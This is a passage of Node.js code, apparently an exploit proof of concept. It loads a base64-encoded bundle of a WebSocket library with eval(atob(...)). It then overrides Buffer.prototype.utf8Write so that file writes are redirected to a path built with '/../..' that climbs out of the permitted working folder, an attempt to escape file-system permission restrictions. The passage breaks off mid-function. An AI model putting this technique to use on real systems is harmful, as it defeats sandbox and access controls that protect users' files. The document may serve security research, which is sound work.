XMuX2V4dGVuc2lvbnNbdS5leHRlbnNpb25OYW1lXSYmdGhpcy5fZXh0ZW5zaW9uc1t1LmV4dGVuc2lvbk5hbWVdLmNsZWFudXAoKSx0aGlzLl9yZWNlaXZlci5yZW1vdmVBbGxMaXN0ZW5lcnMoKSx0aGlzLl9yZWFkeVN0YXRlPUQuQ0xPU0VELHRoaXMuZW1pdCgiY2xvc2UiLHRoaXMuX2Nsb3NlQ29kZSx0aGlzLl9jbG9zZU1lc3NhZ2UpfWNsb3NlKGUsdCl7aWYodGhpcy5yZWFkeVN0YXRlIT09RC5DTE9TRUQpe2lmKHRoaXMucmVhZHlTdGF0ZT09PUQuQ09OTkVDVElORyl7bGV0IHM9IldlYlNvY2tldCB3YXMgY2xvc2VkIGJlZm9yZSB0aGUgY29ubmVjdGlvbiB3YXMgZXN0YWJsaXNoZWQiO0EodGhpcyx0aGlzLl9yZXEscyk7cmV0dXJufWlmKHRoaXMucmVhZHlTdGF0ZT09PUQuQ0xPU0lORyl7dGhpcy5fY2xvc2VGcmFtZVNlbnQmJih0aGlzLl9jbG9zZUZyYW1lUmVjZWl2ZWR8fHRoaXMuX3JlY2VpdmVyLl93cml0YWJsZVN0YXRlLmVycm9yRW1pdHRlZCkmJnRoaXMuX3NvY2tldC5lbmQoKTtyZXR1cm59dGhpcy5fcmVhZHlTdGF0ZT1ELkNMT1NJTkcsdGhpcy5fc2VuZGVyLmNsb3NlKGUsdCwhdGhpcy5faXNTZXJ2ZXIsZT0+eyFlJiYodGhpcy5fY2xvc2VGcmFtZVNlbnQ9ITAsKHRoaXMuX2Nsb3NlRnJhbWVSZWNlaXZlZHx8dGhpcy5fcmVjZWl2ZXIuX3dyaXRhYmxlU3RhdGUuZXJyb3JFbWl0dGVkKSYmdGhpcy5fc29ja2V0LmVuZCgpKX0pLFkodGhpcyl9fXBhdXNlKCl7dGhpcy5yZWFkeVN0YXRlIT09RC5DT05ORUNUSU5HJiZ0aGlzLnJlYWR5U3RhdGUhPT1ELkNMT1NFRCYmKHRoaXMuX3BhdXNlZD0hMCx0aGlzLl9zb2NrZXQucGF1c2UoKSl9cGluZyhlLHQscyl7aWYodGhpcy5yZWFkeVN0YXRlPT09RC5DT05ORUNUSU5HKXRocm93IEVycm9yKCJXZWJTb2NrZXQgaXMgbm90IG9wZW46IHJlYWR5U3RhdGUgMCAoQ09OTkVDVElORykiKTtpZigiZnVuY3Rpb24iPT10eXBlb2YgZT8ocz1lLGU9dD12b2lkIDApOiJmdW5jdGlvbiI9PXR5cGVvZiB0JiYocz10LHQ9dm9pZCAwKSwibnVtYmVyIj09dHlwZW9mIGUmJihlPWUudG9TdHJpbmcoKSksdGhpcy5yZWFkeVN0YXRlIT09RC5PUEVOKXtGKHRoaXMsZSxzKTtyZXR1cm59dm9pZCAwPT09dCYmKHQ9IXRoaXMuX2lzU2VydmVyKSx0aGlzLl9zZW5kZXIucGluZyhlfHxnLHQscyl9cG9uZyhlLHQscyl7aWYodGhpcy5yZWFkeVN0YXRlPT09RC5DT05ORUNUSU5HKXRocm93IEVycm9yKCJXZWJTb2NrZXQgaXMgbm90IG9wZW46IHJlYWR5U3RhdGUgMCAoQ09OTkVDVElORykiKTtpZigiZnVuY3Rpb24iPT10eXBlb2YgZT8ocz1lLGU9dD12b2lkIDApOiJmdW5jdGlvbiI9PXR5cGVvZiB0JiYocz10LHQ9dm9pZCAwKSwibnVtYmVyIj09dHlwZW9mIGUmJihlPWUudG9TdHJpbmcoKSksdGhpcy5yZWFkeVN0YXRlIT09RC5PUEVOKXtGKHRoaXMsZSxzKTtyZXR1cm59dm9pZCAwPT09dCYmKHQ9IXRoaXMuX2lzU2VydmVyKSx0aGlzLl9zZW5kZXIucG9uZyhlfHxnLHQscyl9cmVzdW1lKCl7dGhpcy5yZWFkeVN0YXRlIT09RC5DT05ORUNUSU5HJiZ0aGlzLnJlYWR5U3RhdGUhPT1ELkNMT1NFRCYmKHRoaXMuX3BhdXNlZD0hMSx0aGlzLl9yZWNlaXZlci5fd3JpdGFibGVTdGF0ZS5uZWVkRHJhaW58fHRoaXMuX3NvY2tldC5yZXN1bWUoKSl9c2VuZChlLHQscyl7aWYodGhpcy5yZWFkeVN0YXRlPT09RC5DT05ORUNUSU5HKXRocm93IEVycm9yKCJXZWJTb2NrZXQgaXMgbm90IG9wZW46IHJlYWR5U3RhdGUgMCAoQ09OTkVDVElORykiKTtpZigiZnVuY3Rpb24iPT10eXBlb2YgdCYmKHM9dCx0PXt9KSwibnVtYmVyIj09dHlwZW9mIGUmJihlPWUudG9TdHJpbmcoKSksdGhpcy5yZWFkeVN0YXRlIT09RC5PUEVOKXtGKHRoaXMsZSxzKTtyZXR1cm59bGV0IGk9e2JpbmFyeToic3RyaW5nIiE9dHlwZW9mIGUsbWFzazohdGhpcy5faXNTZXJ2ZXIsY29tcHJlc3M6ITAsZmluOiEwLC4uLnR9O3RoaXMuX2V4dGVuc2lvbnNbdS5leHRlbnNpb25OYW1lXXx8KGkuY29tcHJlc3M9ITEpLHRoaXMuX3NlbmRlci5zZW5kKGV8fGcsaSxzKX10ZXJtaW5hdGUoKXtpZih0aGlzLnJlYWR5U3RhdGUhPT1ELkNMT1NFRCl7aWYodGhpcy5yZWFkeVN0YXRlPT09RC5DT05ORUNUSU5HKXtsZXQgZT0iV2ViU29ja2V0IHdhcyBjbG9zZWQgYmVmb3JlIHRoZSBjb25uZWN0aW9uIHdhcyBlc3RhYmxpc2hlZCI7QSh0aGlzLHRoaXMuX3JlcSxlKTtyZXR1cm59dGhpcy5fc29ja2V0JiYodGhpcy5fcmVhZHlTdGF0ZT1ELkNMT1NJTkcsdGhpcy5fc29ja2V0LmRlc3Ryb3koKSl9fX1mdW5jdGlvbiBSKGUsdCxzLGkpe2xldCBuPXthbGxvd1N5bmNocm9ub3VzRXZlbnRzOiEwLGF1dG9Qb25nOiEwLHByb3RvY29sVmVyc2lvbjpQWzFdLG1heFBheWxvYWQ6MTA0ODU3NjAwLHNraXBVVEY4VmFsaWRhdGlvbjohMSxwZXJNZXNzYWdlRGVmbGF0ZTohMCxmb2xsb3dSZWRpcmVjdHM6ITEsbWF4UmVkaXJlY3RzOjEwLC4uLmksc29ja2V0UGF0aDp2b2lkIDAsaG9zdG5hbWU6dm9pZCAwLHByb3RvY29sOnZvaWQgMCx0aW1lb3V0OnZvaWQgMCxtZXRob2Q6IkdFVCIsaG9zdDp2b2lkIDAscGF0aDp2b2lkIDAscG9ydDp2b2lkIDB9O2lmKGUuX2F1dG9Qb25nPW4uYXV0b1BvbmcsIVAuaW5jbHVkZXMobi5wcm90b2NvbFZlcnNpb24pKXRocm93IFJhbmdlRXJyb3IoYFVuc3VwcG9ydGVkIHByb3RvY29sIHZlcnNpb246ICR7bi5wcm90b2NvbFZlcnNpb259IChzdXBwb3J0ZWQgdmVyc2lvbnM6ICR7UC5qb2luKCIsICIpfSlgKTtsZXQgYTtpZih0IGluc3RhbmNlb2YgZilhPXQ7ZWxzZSB0cnl7YT1uZXcgZih0KX1jYXRjaChjKXt0aHJvdyBTeW50YXhFcnJvcihgSW52YWxpZCBVUkw6ICR7dH1gKX0iaHR0cDoiPT09YS5wcm90b2NvbD9hLnByb3RvY29sPSJ3czoiOiJodHRwczoiPT09YS5wcm90b2NvbCYmKGEucHJvdG9jb2w9IndzczoiKSxlLl91cmw9YS5ocmVmO2xldCBkPSJ3c3M6Ij09PWEucHJvdG9jb2wsJD0id3MrdW5peDoiPT09YS5wcm90b2NvbCxwO2lmKCJ3czoiPT09YS5wcm90b2NvbHx8ZHx8JD8kJiYhYS5wYXRobmFtZT9wPSJUaGUgVVJMJ3MgcGF0aG5hbWUgaXMgZW1wdHkiOmEuaGFzaCYmKHA9IlRoZSBVUkwgY29udGFpbnMgYSBmcmFnbWVudCBpZGVudGlmaWVyIik6cD0nVGhlIFVSTFwncyBwcm90b2NvbCBtdXN0IGJlIG9uZSBvZiAid3M6IiwgIndzczoiLCAiaHR0cDoiLCAiaHR0cHMiLCBvciAid3MrdW5peDoiJyxwKXtsZXQgbT1TeW50YXhFcnJvcihwKTtpZigwPT09ZS5fcmVkaXJlY3RzKXRocm93IG07VyhlLG0pO3JldHVybn1sZXQgXz1kPzQ0Mzo4MCxnPWgoMTYpLnRvU3RyaW5nKCJiYXNlNjQiKSx4PWQ/ci5yZXF1ZXN0Om8ucmVxdWVzdCx2PW5ldyBTZXQsYjtpZihuLmNyZWF0ZUNvbm5lY3Rpb249bi5jcmVhdGVDb25uZWN0aW9ufHwoZD9NOkIpLG4uZGVmYXVsdFBvcnQ9bi5kZWZhdWx0UG9ydHx8XyxuLnBvcnQ9YS5wb3J0fHxfLG4uaG9zdD1hLmhvc3RuYW1lLnN0YXJ0c1dpdGgoIlsiKT9hLmhvc3RuYW1lLnNsaWNlKDEsLTEpOmEuaG9zdG5hbWUsbi5oZWFkZXJzPXsuLi5uLmhlYWRlcnMsIlNlYy1XZWJTb2NrZXQtVmVyc2lvbiI6bi5wcm90b2NvbFZlcnNpb24sIlNlYy1XZWJTb2NrZXQtS2V5IjpnLENvbm5lY3Rpb246IlVwZ3JhZGUiLFVwZ3JhZGU6IndlYnNvY2tldCJ9LG4ucGF0aD1hLnBhdGhuYW1lK2Euc2VhcmNoLG4udGltZW91dD1uLmhhbmRzaGFrZVRpbWVvdXQsbi5wZXJNZXNzYWdlRGVmbGF0ZSYmKGI9bmV3IHUoITAhPT1uLnBlck1lc3NhZ2VEZWZsYXRlP24ucGVyTWVzc2FnZURlZmxhdGU6e30sITEsbi5tYXhQYXlsb2FkKSxuLmhlYWRlcnNbIlNlYy1XZWJTb2NrZXQtRXh0ZW5zaW9ucyJdPUMoe1t1LmV4dGVuc2lvbk5hbWVdOmIub2ZmZXIoKX0pKSxzLmxlbmd0aCl7Zm9yKGxldCBTIG9mIHMpe2lmKCJzdHJpbmciIT10eXBlb2YgU3x8IUkudGVzdChTKXx8di5oYXMoUykpdGhyb3cgU3ludGF4RXJyb3IoIkFuIGludmFsaWQgb3IgZHVwbGljYXRlZCBzdWJwcm90b2NvbCB3YXMgc3BlY2lmaWVkIik7di5hZGQoUyl9bi5oZWFkZXJzWyJTZWMtV2ViU29ja2V0LVByb3RvY29sIl09cy5qb2luKCIsIil9aWYobi5vcmlnaW4mJihuLnByb3RvY29sVmVyc2lvbjwxMz9uLmhlYWRlcnNbIlNlYy1XZWJTb2NrZXQtT3JpZ2luIl09bi5vcmlnaW46bi5oZWFkZXJzLk9yaWdpbj1uLm9yaWdpbiksKGEudXNlcm5hbWV8fGEucGFzc3dvcmQpJiYobi5hdXRoPWAke2EudXNlcm5hbWV9OiR7YS5wYXNzd29yZH1gKSwkKXtsZXQgaz1uLnBhdGguc3BsaXQoIjoiKTtuLnNvY2tldFBhdGg9a1swXSxuLnBhdGg9a1sxXX1sZXQgdztpZihuLmZvbGxvd1JlZGlyZWN0cyl7aWYoMD09PWUuX3JlZGlyZWN0cyl7ZS5fb3JpZ2luYWxJcGM9JCxlLl9vcmlnaW5hbFNlY3VyZT1kLGUuX29yaWdpbmFsSG9zdE9yU29ja2V0UGF0aD0kP24uc29ja2V0UGF0aDphLmhvc3Q7bGV0IEU9aSYmaS5oZWFkZXJzO2lmKGk9ey4uLmksaGVhZGVyczp7fX0sRSlmb3IobGV0W04sTF1vZiBPYmplY3QuZW50cmllcyhFKSlpLmhlYWRlcnNbTi50b0xvd2VyQ2FzZSgpXT1MfWVsc2UgaWYoMD09PWUubGlzdGVuZXJDb3VudCgicmVkaXJlY3QiKSl7bGV0IFU9JD8hIWUuX29yaWdpbmFsSXBjJiZuLnNvY2tldFBhdGg9PT1lLl9vcmlnaW5hbEhvc3RPclNvY2tldFBhdGg6IWUuX29yaWdpbmFsSXBjJiZhLmhvc3Q9PT1lLl9vcmlnaW5hbEhvc3RPclNvY2tldFBhdGg7VSYmKCFlLl9vcmlnaW5hbFNlY3VyZXx8ZCl8fChkZWxldGUgbi5oZWFkZXJzLmF1dGhvcml6YXRpb24sZGVsZXRlIG4uaGVhZGVycy5jb29raWUsVXx8ZGVsZXRlIG4uaGVhZGVycy5ob3N0LG4uYXV0aD12b2lkIDApfW4uYXV0aCYmIWkuaGVhZGVycy5hdXRob3JpemF0aW9uJiYoaS5oZWFkZXJzLmF1dGhvcml6YXRpb249IkJhc2ljICIrQnVmZmVyLmZyb20obi5hdXRoKS50b1N0cmluZygiYmFzZTY0IikpLHc9ZS5fcmVxPXgobiksZS5fcmVkaXJlY3RzJiZlLmVtaXQoInJlZGlyZWN0IixlLnVybCx3KX1lbHNlIHc9ZS5fcmVxPXgobik7bi50aW1lb3V0JiZ3Lm9uKCJ0aW1lb3V0IiwoKT0+e0EoZSx3LCJPcGVuaW5nIGhhbmRzaGFrZSBoYXMgdGltZWQgb3V0Iil9KSx3Lm9uKCJlcnJvciIsdD0+e251bGw9PT13fHx3W09dfHwodz1lLl9yZXE9bnVsbCxXKGUsdCkpfSksdy5vbigicmVzcG9uc2UiLHI9PntsZXQgbz1yLmhlYWRlcnMubG9jYXRpb24sYT1yLnN0YXR1c0NvZGU7aWYobyYmbi5mb2xsb3dSZWRpcmVjdHMmJmE+PTMwMCYmYTw0MDApe2lmKCsrZS5fcmVkaXJlY3RzPm4ubWF4UmVkaXJlY3RzKXtBKGUsdywiTWF4aW11bSByZWRpcmVjdHMgZXhjZWVkZWQiKTtyZXR1cm59dy5hYm9ydCgpO2xldCBoO3RyeXtoPW5ldyBmKG8sdCl9Y2F0Y2gobCl7bGV0IGM9U3ludGF4RXJyb3IoYEludmFsaWQgVVJMOiAke299YCk7VyhlLGMpO3JldHVybn1SKGUsaCxzLGkpfWVsc2UgZS5lbWl0KCJ1bmV4cGVjdGVkLXJlc3BvbnNlIix3LHIpfHxBKGUsdyxgVW5leHBlY3RlZCBzZXJ2ZXIgcmVzcG9uc2U6ICR7ci5zdGF0dXNDb2RlfWApfSksdy5vbigidXBncmFkZSIsKHQscyxpKT0+e2lmKGUuZW1pdCgidXBncmFkZSIsdCksZS5yZWFkeVN0YXRlIT09RC5DT05ORUNUSU5HKXJldHVybjt3PWUuX3JlcT1udWxsO2xldCByPXQuaGVhZGVycy51cGdyYWRlO2lmKHZvaWQgMD09PXJ8fCJ3ZWJzb2NrZXQiIT09ci50b0xvd2VyQ2FzZSgpKXtBKGUscywiSW52YWxpZCBVcGdyYWRlIGhlYWRlciIpO3JldHVybn1sZXQgbz1sKCJzaGExIikudXBkYXRlKGcreSkuZGlnZXN0KCJiYXNlNjQiKTtpZih0LmhlYWRlcnNbInNlYy13ZWJzb2NrZXQtYWNjZXB0Il0hPT1vKXtBKGUscywiSW52YWxpZCBTZWMtV2ViU29ja2V0LUFjY2VwdCBoZWFkZXIiKTtyZXR1cm59bGV0IGE9dC5oZWFkZXJzWyJzZWMtd2Vic29ja2V0LXByb3RvY29sIl0saDtpZih2b2lkIDAhPT1hP3Yuc2l6ZT92LmhhcyhhKXx8KGg9IlNlcnZlciBzZW50IGFuIGludmFsaWQgc3VicHJvdG9jb2wiKTpoPSJTZXJ2ZXIgc2VudCBhIHN1YnByb3RvY29sIGJ1dCBub25lIHdhcyByZXF1ZXN0ZWQiOnYuc2l6ZSYmKGg9IlNlcnZlciBzZW50IG5vIHN1YnByb3RvY29sIiksaCl7QShlLHMsaCk7cmV0dXJufWEmJihlLl9wcm90b2NvbD1hKTtsZXQgYz10LmhlYWRlcnNbInNlYy13ZWJzb2NrZXQtZXh0ZW5zaW9ucyJdO2lmKHZvaWQgMCE9PWMpe2lmKCFiKXtsZXQgZD0iU2VydmVyIHNlbnQgYSBTZWMtV2ViU29ja2V0LUV4dGVuc2lvbnMgaGVhZGVyIGJ1dCBubyBleHRlbnNpb24gd2FzIHJlcXVlc3RlZCI7QShlLHMsZCk7cmV0dXJufWxldCBmO3RyeXtmPVQoYyl9Y2F0Y2goJCl7bGV0IHA9IkludmFsaWQgU2VjLVdlYlNvY2tldC1FeHRlbnNpb25zIGhlYWRlciI7QShlLHMscCk7cmV0dXJufWxldCBtPU9iamVjdC5rZXlzKGYpO2lmKDEhPT1tLmxlbmd0aHx8bVswXSE9PXUuZXh0ZW5zaW9uTmFtZSl7bGV0IF89IlNlcnZlciBpbmRpY2F0ZWQgYW4gZXh0ZW5zaW9uIHRoYXQgd2FzIG5vdCByZXF1ZXN0ZWQiO0EoZSxzLF8pO3JldHVybn10cnl7Yi5hY2NlcHQoZlt1LmV4dGVuc2lvbk5hbWVdKX1jYXRjaCh4KXtsZXQgUz0iSW52YWxpZCBTZWMtV2ViU29ja2V0LUV4dGVuc2lvbnMgaGVhZGVyIjtBKGUscyxTKTtyZXR1cm59ZS5fZXh0ZW5zaW9uc1t1LmV4dGVuc2lvbk5hbWVdPWJ9ZS5zZXRTb2NrZXQocyxpLHthbGxvd1N5bmNocm9ub3VzRXZlbnRzOm4uYWxsb3dTeW5jaHJvbm91c0V2ZW50cyxnZW5lcmF0ZU1hc2s6bi5nZW5lcmF0ZU1hc2ssbWF4UGF5bG9hZDpuLm1heFBheWxvYWQsc2tpcFVURjhWYWxpZGF0aW9uOm4uc2tpcFVURjhWYWxpZGF0aW9ufSl9KSxuLmZpbmlzaFJlcXVlc3Q/bi5maW5pc2hSZXF1ZXN0KHcsZSk6dy5lbmQoKX1mdW5jdGlvbiBXKGUsdCl7ZS5fcmVhZHlTdGF0ZT1ELkNMT1NJTkcsZS5fZXJyb3JFbWl0dGVkPSEwLGUuZW1pdCgiZXJyb3IiLHQpLGUuZW1pdENsb3NlKCl9ZnVuY3Rpb24gQihlKXtyZXR1cm4gZS5wYXRoPWUuc29ja2V0UGF0aCxuLmNvbm5lY3QoZSl9ZnVuY3Rpb24gTShlKXtyZXR1cm4gZS5wYXRoPXZvaWQgMCxlLnNlcnZlcm5hbWV8fCIiPT09ZS5zZXJ2ZXJuYW1lfHwoZS5zZXJ2ZXJuYW1lPW4uaXNJUChlLmhvc3QpPyIiOmUuaG9zdCksYS5jb25uZWN0KGUpfWZ1bmN0aW9uIEEoZSx0LHMpe2UuX3JlYWR5U3RhdGU9RC5DTE9TSU5HO2xldCBpPUVycm9yKHMpO0Vycm9yLmNhcHR1cmVTdGFja1RyYWNlKGksQSksdC5zZXRIZWFkZXI/KHRbT109ITAsdC5hYm9ydCgpLHQuc29ja2V0JiYhdC5zb2NrZXQuZGVzdHJveWVkJiZ0LnNvY2tldC5kZXN0cm95KCkscHJvY2Vzcy5uZXh0VGljayhXLGUsaSkpOih0LmRlc3Ryb3koaSksdC5vbmNlKCJlcnJvciIsZS5lbWl0LmJpbmQoZSwiZXJyb3IiKSksdC5vbmNlKCJjbG9zZSIsZS5lbWl0Q2xvc2UuYmluZChlKSkpfWZ1bmN0aW9uIEYoZSx0LHMpe2lmKHQpe2xldCBpPW0odCk/dC5zaXplOk4odCkubGVuZ3RoO2UuX3NvY2tldD9lLl9zZW5kZXIuX2J1ZmZlcmVkQnl0ZXMrPWk6ZS5fYnVmZmVyZWRBbW91bnQrPWl9aWYocyl7bGV0IHI9RXJyb3IoYFdlYlNvY2tldCBpcyBub3Qgb3BlbjogcmVhZHlTdGF0ZSAke2UucmVhZHlTdGF0ZX0gKCR7VVtlLnJlYWR5U3RhdGVdfSlgKTtwcm9jZXNzLm5leHRUaWNrKHMscil9fWZ1bmN0aW9uIEcoZSx0KXtsZXQgcz10aGlzW1NdO3MuX2Nsb3NlRnJhbWVSZWNlaXZlZD0hMCxzLl9jbG9zZU1lc3NhZ2U9dCxzLl9jbG9zZUNvZGU9ZSx2b2lkIDAhPT1zLl9zb2NrZXRbU10mJihzLl9zb2NrZXQucmVtb3ZlTGlzdGVuZXIoImRhdGEiLFEpLHByb2Nlc3MubmV4dFRpY2soSyxzLl9zb2NrZXQpLDEwMDU9PT1lP3MuY2xvc2UoKTpzLmNsb3NlKGUsdCkpfWZ1bmN0aW9uIFYoKXtsZXQgZT10aGlzW1NdO2UuaXNQYXVzZWR8fGUuX3NvY2tldC5yZXN1bWUoKX1mdW5jdGlvbiBxKGUpe2xldCB0PXRoaXNbU107dm9pZCAwIT09dC5fc29ja2V0W1NdJiYodC5fc29ja2V0LnJlbW92ZUxpc3RlbmVyKCJkYXRhIixRKSxwcm9jZXNzLm5leHRUaWNrKEssdC5fc29ja2V0KSx0LmNsb3NlKGVbYl0pKSx0Ll9lcnJvckVtaXR0ZWR8fCh0Ll9lcnJvckVtaXR0ZWQ9ITAsdC5lbWl0KCJlcnJvciIsZSkpfWZ1bmN0aW9uIHooKXt0aGlzW1NdLmVtaXRDbG9zZSgpfWZ1bmN0aW9uIGooZSx0KXt0aGlzW1NdLmVtaXQoIm1lc3NhZ2UiLGUsdCl9ZnVuY3Rpb24gSChlKXtsZXQgdD10aGlzW1NdO3QuX2F1dG9Qb25nJiZ0LnBvbmcoZSwhdGhpcy5faXNTZXJ2ZXIsayksdC5lbWl0KCJwaW5nIixlKX1mdW5jdGlvbiBYKGUpe3RoaXNbU10uZW1pdCgicG9uZyIsZSl9ZnVuY3Rpb24gSyhlKXtlLnJlc3VtZSgpfWZ1bmN0aW9uIFooZSl7bGV0IHQ9dGhpc1tTXTt0LnJlYWR5U3RhdGU9PT1ELkNMT1NFRHx8KHQucmVhZHlTdGF0ZT09PUQuT1BFTiYmKHQuX3JlYWR5U3RhdGU9RC5DTE9TSU5HLFkodCkpLHRoaXMuX3NvY2tldC5lbmQoKSx0Ll9lcnJvckVtaXR0ZWR8fCh0Ll9lcnJvckVtaXR0ZWQ9ITAsdC5lbWl0KCJlcnJvciIsZSkpKX1mdW5jdGlvbiBZKGUpe2UuX2Nsb3NlVGltZXI9c2V0VGltZW91dChlLl9zb2NrZXQuZGVzdHJveS5iaW5kKGUuX3NvY2tldCksTCl9ZnVuY3Rpb24gSigpe2xldCBlPXRoaXNbU107dGhpcy5yZW1vdmVMaXN0ZW5lcigiY2xvc2UiLEopLHRoaXMucmVtb3ZlTGlzdGVuZXIoImRhdGEiLFEpLHRoaXMucmVtb3ZlTGlzdGVuZXIoImVuZCIsZWUpLGUuX3JlYWR5U3RhdGU9RC5DTE9TSU5HO2xldCB0O3RoaXMuX3JlYWRhYmxlU3RhdGUuZW5kRW1pdHRlZHx8ZS5fY2xvc2VGcmFtZVJlY2VpdmVkfHxlLl9yZWNlaXZlci5fd3JpdGFibGVTdGF0ZS5lcnJvckVtaXR0ZWR8fG51bGw9PT0odD1lLl9zb2NrZXQucmVhZCgpKXx8ZS5fcmVjZWl2ZXIud3JpdGUodCksZS5fcmVjZWl2ZXIuZW5kKCksdGhpc1tTXT12b2lkIDAsY2xlYXJUaW1lb3V0KGUuX2Nsb3NlVGltZXIpLGUuX3JlY2VpdmVyLl93cml0YWJsZVN0YXRlLmZpbmlzaGVkfHxlLl9yZWNlaXZlci5fd3JpdGFibGVTdGF0ZS5lcnJvckVtaXR0ZWQ/ZS5lbWl0Q2xvc2UoKTooZS5fcmVjZWl2ZXIub24oImVycm9yIix6KSxlLl9yZWNlaXZlci5vbigiZmluaXNoIix6KSl9ZnVuY3Rpb24gUShlKXt0aGlzW1NdLl9yZWNlaXZlci53cml0ZShlKXx8dGhpcy5wYXVzZSgpfWZ1bmN0aW9uIGVlKCl7bGV0IGU9dGhpc1tTXTtlLl9yZWFkeVN0YXRlPUQuQ0xPU0lORyxlLl9yZWNlaXZlci5lbmQoKSx0aGlzLmVuZCgpfWZ1bmN0aW9uIGV0KCl7bGV0IGU9dGhpc1tTXTt0aGlzLnJlbW92ZUxpc3RlbmVyKCJlcnJvciIsZXQpLHRoaXMub24oImVycm9yIixrKSxlJiYoZS5fcmVhZHlTdGF0ZT1ELkNMT1NJTkcsdGhpcy5kZXN0cm95KCkpfU9iamVjdC5kZWZpbmVQcm9wZXJ0eShELCJDT05ORUNUSU5HIix7ZW51bWVyYWJsZTohMCx2YWx1ZTpVLmluZGV4T2YoIkNPTk5FQ1RJTkciKX0pLE9iamVjdC5kZWZpbmVQcm9wZXJ0eShELnByb3RvdHlwZSwiQ09OTkVDVElORyIse2VudW1lcmFibGU6ITAsdmFsdWU6VS5pbmRleE9mKCJDT05ORUNUSU5HIil9KSxPYmplY3QuZGVmaW5lUHJvcGVydHkoRCwiT1BFTiIse2VudW1lcmFibGU6ITAsdmFsdWU6VS5pbmRleE9mKCJPUEVOIil9KSxPYmplY3QuZGVmaW5lUHJvcGVydHkoRC5wcm90b3R5cGUsIk9QRU4iLHtlbnVtZXJhYmxlOiEwLHZhbHVlOlUuaW5kZXhPZigiT1BFTiIpfSksT2JqZWN0LmRlZmluZVByb3BlcnR5KEQsIkNMT1NJTkciLHtlbnVtZXJhYmxlOiEwLHZhbHVlOlUuaW5kZXhPZigiQ0xPU0lORyIpfSksT2JqZWN0LmRlZmluZVByb3BlcnR5KEQucHJvdG90eXBlLCJDTE9TSU5HIix7ZW51bWVyYWJsZTohMCx2YWx1ZTpVLmluZGV4T2YoIkNMT1NJTkciKX0pLE9iamVjdC5kZWZpbmVQcm9wZXJ0eShELCJDTE9TRUQiLHtlbnVtZXJhYmxlOiEwLHZhbHVlOlUuaW5kZXhPZigiQ0xPU0VEIil9KSxPYmplY3QuZGVmaW5lUHJvcGVydHkoRC5wcm90b3R5cGUsIkNMT1NFRCIse2VudW1lcmFibGU6ITAsdmFsdWU6VS5pbmRleE9mKCJDTE9TRUQiKX0pLFsiYmluYXJ5VHlwZSIsImJ1ZmZlcmVkQW1vdW50IiwiZXh0ZW5zaW9ucyIsImlzUGF1c2VkIiwicHJvdG9jb2wiLCJyZWFkeVN0YXRlIiwidXJsIl0uZm9yRWFjaChlPT57T2JqZWN0LmRlZmluZVByb3BlcnR5KEQucHJvdG90eXBlLGUse2VudW1lcmFibGU6ITB9KX0pLFsib3BlbiIsImVycm9yIiwiY2xvc2UiLCJtZXNzYWdlIl0uZm9yRWFjaChlPT57T2JqZWN0LmRlZmluZVByb3BlcnR5KEQucHJvdG90eXBlLGBvbiR7ZX1gLHtlbnVtZXJhYmxlOiEwLGdldCgpe2ZvcihsZXQgdCBvZiB0aGlzLmxpc3RlbmVycyhlKSlpZih0W3hdKXJldHVybiB0W3ZdO3JldHVybiBudWxsfSxzZXQodCl7Zm9yKGxldCBzIG9mIHRoaXMubGlzdGVuZXJzKGUpKWlmKHNbeF0pe3RoaXMucmVtb3ZlTGlzdGVuZXIoZSxzKTticmVha30iZnVuY3Rpb24iPT10eXBlb2YgdCYmdGhpcy5hZGRFdmVudExpc3RlbmVyKGUsdCx7W3hdOiEwfSl9fSl9KSxELnByb3RvdHlwZS5hZGRFdmVudExpc3RlbmVyPXcsRC5wcm90b3R5cGUucmVtb3ZlRXZlbnRMaXN0ZW5lcj1FLGUuZXhwb3J0cz1EfSw0ODgobW9kdWxlKXttb2R1bGUuZXhwb3J0cz1ldmFsKCJyZXF1aXJlIikoImJ1ZmZlcnV0aWwiKX0sMzY1KG1vZHVsZSl7bW9kdWxlLmV4cG9ydHM9ZXZhbCgicmVxdWlyZSIpKCJ1dGYtOC12YWxpZGF0ZSIpfSwzMDAoZSl7InVzZSBzdHJpY3QiO2UuZXhwb3J0cz1yZXF1aXJlKCJidWZmZXIiKX0sMTEzKGUpeyJ1c2Ugc3RyaWN0IjtlLmV4cG9ydHM9cmVxdWlyZSgiY3J5cHRvIil9LDM2MShlKXsidXNlIHN0cmljdCI7ZS5leHBvcnRzPXJlcXVpcmUoImV2ZW50cyIpfSw2ODUoZSl7InVzZSBzdHJpY3QiO2UuZXhwb3J0cz1yZXF1aXJlKCJodHRwIil9LDY4NyhlKXsidXNlIHN0cmljdCI7ZS5leHBvcnRzPXJlcXVpcmUoImh0dHBzIil9LDgwOChlKXsidXNlIHN0cmljdCI7ZS5leHBvcnRzPXJlcXVpcmUoIm5ldCIpfSw3ODEoZSl7InVzZSBzdHJpY3QiO2UuZXhwb3J0cz1yZXF1aXJlKCJzdHJlYW0iKX0sNDA0KGUpeyJ1c2Ugc3RyaWN0IjtlLmV4cG9ydHM9cmVxdWlyZSgidGxzIil9LDMxMChlKXsidXNlIHN0cmljdCI7ZS5leHBvcnRzPXJlcXVpcmUoInVybCIpfSw3OTYoZSl7InVzZSBzdHJpY3QiO2UuZXhwb3J0cz1yZXF1aXJlKCJ6bGliIil9fSxfX3dlYnBhY2tfbW9kdWxlX2NhY2hlX189e307ZnVuY3Rpb24gX19uY2N3cGNrX3JlcXVpcmVfXyhlKXt2YXIgdD1fX3dlYnBhY2tfbW9kdWxlX2NhY2hlX19bZV07aWYodm9pZCAwIT09dClyZXR1cm4gdC5leHBvcnRzO3ZhciBzPV9fd2VicGFja19tb2R1bGVfY2FjaGVfX1tlXT17ZXhwb3J0czp7fX0saT0hMDt0cnl7X193ZWJwYWNrX21vZHVsZXNfX1tlXShzLHMuZXhwb3J0cyxfX25jY3dwY2tfcmVxdWlyZV9fKSxpPSExfWZpbmFsbHl7aSYmZGVsZXRlIF9fd2VicGFja19tb2R1bGVfY2FjaGVfX1tlXX1yZXR1cm4gcy5leHBvcnRzfV9fbmNjd3Bja19yZXF1aXJlX18uYWI9Ii8iO3ZhciBfX3dlYnBhY2tfZXhwb3J0c19fPV9fbmNjd3Bja19yZXF1aXJlX18oMjk2KTtnbG9iYWxUaGlzLldlYlNvY2tldD1fX3dlYnBhY2tfZXhwb3J0c19ffSkoKTs=`;
eval(atob(wsPayload));
const WebSocket = globalThis.WebSocket;
const allowedFolder = process.cwd();
let target;
let targetBuf;
const originalUtf8Write = Buffer.prototype.utf8Write;
const overload = function(str, ...args) {
return originalUtf8Write.apply(this, [target, ...args]);
}
const setTarget = (f) => {
Buffer.prototype.utf8Write = originalUtf8Write;
target = allowedFolder + "/../.." + f;
